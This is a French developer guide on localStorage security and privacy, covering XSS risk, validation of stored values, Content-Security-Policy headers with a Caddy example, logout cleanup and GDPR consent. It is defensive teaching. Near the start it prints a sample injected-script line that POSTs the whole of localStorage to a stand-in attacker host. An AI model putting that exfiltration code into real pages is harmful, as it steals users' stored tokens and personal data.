Aller au contenu

localStorage : sécurité et confidentialité

localStorage est lisible et modifiable par tout script de la page et par l’utilisateur (outils de développement). Il n’offre aucune confidentialité ni aucune intégrité : une donnée stockée est une donnée exposée et non fiable.

À ne pas stocker Pourquoi Alternative
Jetons d’authentification, identifiants de session Volés par un script injecté (XSS) Cookie HttpOnly; Secure; SameSite défini par le serveur
Mots de passe, clés d’API, clés privées Lisibles par n’importe quel script Jamais côté navigateur
Données personnelles sensibles (santé, finances, pièces d’identité) Exposées en cas de XSS ou d’accès à l’appareil Serveur, avec contrôle d’accès
Droits ou rôles utilisés pour autoriser Modifiables par l’utilisateur Vérification côté serveur
Prix, remises, totaux de commande Modifiables par l’utilisateur Recalcul côté serveur

Une faille XSS permet à un attaquant d’exécuter du JavaScript dans la page : il peut alors lire tout le stockage de l’origine.

// Ce que ferait un script injecté
fetch('https://attaquant.exemple/vol', {
method: 'POST',
body: JSON.stringify(localStorage),
});

Réduire le risque :

  • Échapper toute donnée affichée (les frameworks le font par défaut ; éviter innerHTML, dangerouslySetInnerHTML, set:html, v-html avec une donnée non fiable).
  • Mettre en place une Content-Security-Policy restrictive (voir plus bas).
  • Limiter les scripts tiers (publicité, mesure d’audience) : ils s’exécutent avec les mêmes droits que votre code.
  • Garder les dépendances à jour (npm audit).

Une valeur lue peut avoir été modifiée à la main, par une ancienne version de l’application ou par un autre script. La traiter comme une entrée utilisateur :

const THEMES = ['light', 'dark'];
export function lireTheme() {
let valeur = null;
try {
valeur = localStorage.getItem('theme');
} catch {}
return THEMES.includes(valeur) ? valeur : 'light';
}
import { z } from 'zod';
const schema = z.object({
theme: z.enum(['light', 'dark']),
taillePolice: z.number().min(10).max(32),
});
const lu = schema.safeParse(
JSON.parse(localStorage.getItem('preferences') ?? 'null'),
);
const preferences = lu.success ? lu.data : { theme: 'light', taillePolice: 16 };

Ne jamais insérer une valeur lue dans le HTML sans l’échapper, ni l’évaluer (eval, new Function), ni l’utiliser dans une URL ou une requête sans validation.

Une politique de sécurité de contenu limite les scripts exécutables, ce qui réduit l’impact d’une injection :

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'

Avec Caddy :

exemple.com {
header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'"
}

Une politique stricte impose d’éviter les scripts en ligne (ou de les autoriser par nonce/empreinte) : la tester avec Content-Security-Policy-Report-Only avant de la rendre bloquante (voir Caddy : exemples réutilisables).

Chiffrer les données avant de les stocker (API Web Crypto) protège contre la lecture directe du disque, mais pas contre un script injecté : il lit aussi la clé (ou la demande à l’utilisateur). Cela ne remplace ni la protection XSS ni le stockage côté serveur. À réserver à des cas particuliers, avec une clé dérivée d’un secret saisi par l’utilisateur.

Les données restent sur l’appareil jusqu’à suppression. Sur un poste partagé :

  • Proposer une action « Se déconnecter et effacer mes données ».
  • Ne pas stocker d’information personnelle sans nécessité.
  • Prévoir l’effacement lors de la déconnexion :
function deconnexion() {
['panier', 'brouillon', 'profil'].forEach((cle) => {
try {
localStorage.removeItem('monapp:' + cle);
} catch {}
});
}

Écrire ou lire des informations sur l’appareil de l’utilisateur est encadré en Europe (directive ePrivacy, RGPD) : le consentement est requis, sauf pour ce qui est strictement nécessaire au service demandé. Un thème mémorisé à la demande de l’utilisateur est en général considéré comme nécessaire à sa préférence ; un identifiant de suivi, une mesure d’audience ou de la publicité ne le sont pas. Ces règles s’appliquent à tous les traceurs, pas seulement aux cookies : consulter les recommandations de l’autorité de protection des données (en France, la CNIL) et un conseil juridique pour un service réel.

Bonnes pratiques :

  • Ne stocker que le nécessaire, pour une durée limitée.
  • Informer dans la politique de confidentialité.
  • Ne pas déposer de traceur avant d’avoir le consentement quand il est requis.
  • Le site de ce guide n’en dépend pas : une préférence de thème est le seul usage de ce type.
console.table(
Object.entries(localStorage).map(([cle, valeur]) => ({
cle,
taille: valeur.length,
})),
);

Auditer régulièrement : clés inconnues, données personnelles, volumes anormaux. Les scripts tiers peuvent aussi écrire dans le stockage de l’origine.

Le stockage est lié à l’origine : héberger du contenu non fiable (téléversements d’utilisateurs, pages générées) sur un autre domaine que l’application empêche ce contenu de lire le stockage de l’application. Éviter de servir des fichiers HTML téléversés depuis la même origine.

Symptôme Piste
Un jeton est visible dans le stockage Le déplacer dans un cookie HttpOnly défini par le serveur
Données modifiées par l’utilisateur Normal : valider à la lecture, recalculer côté serveur
Données lisibles par un script tiers Retirer ou isoler le script ; politique CSP
Valeur injectée affichée comme HTML Échapper, ne pas utiliser innerHTML avec une donnée non fiable
Données restantes après déconnexion Prévoir l’effacement à la déconnexion

Ubuntu 24.04 et 26.04 : différences à connaître

Section intitulée « Ubuntu 24.04 et 26.04 : différences à connaître »

Aucune. Les données de Firefox se trouvent dans le profil de l’utilisateur (avec le paquet snap, sous ~/snap/firefox/common/.mozilla/firefox/) : elles sont protégées par les droits du compte, pas chiffrées par défaut.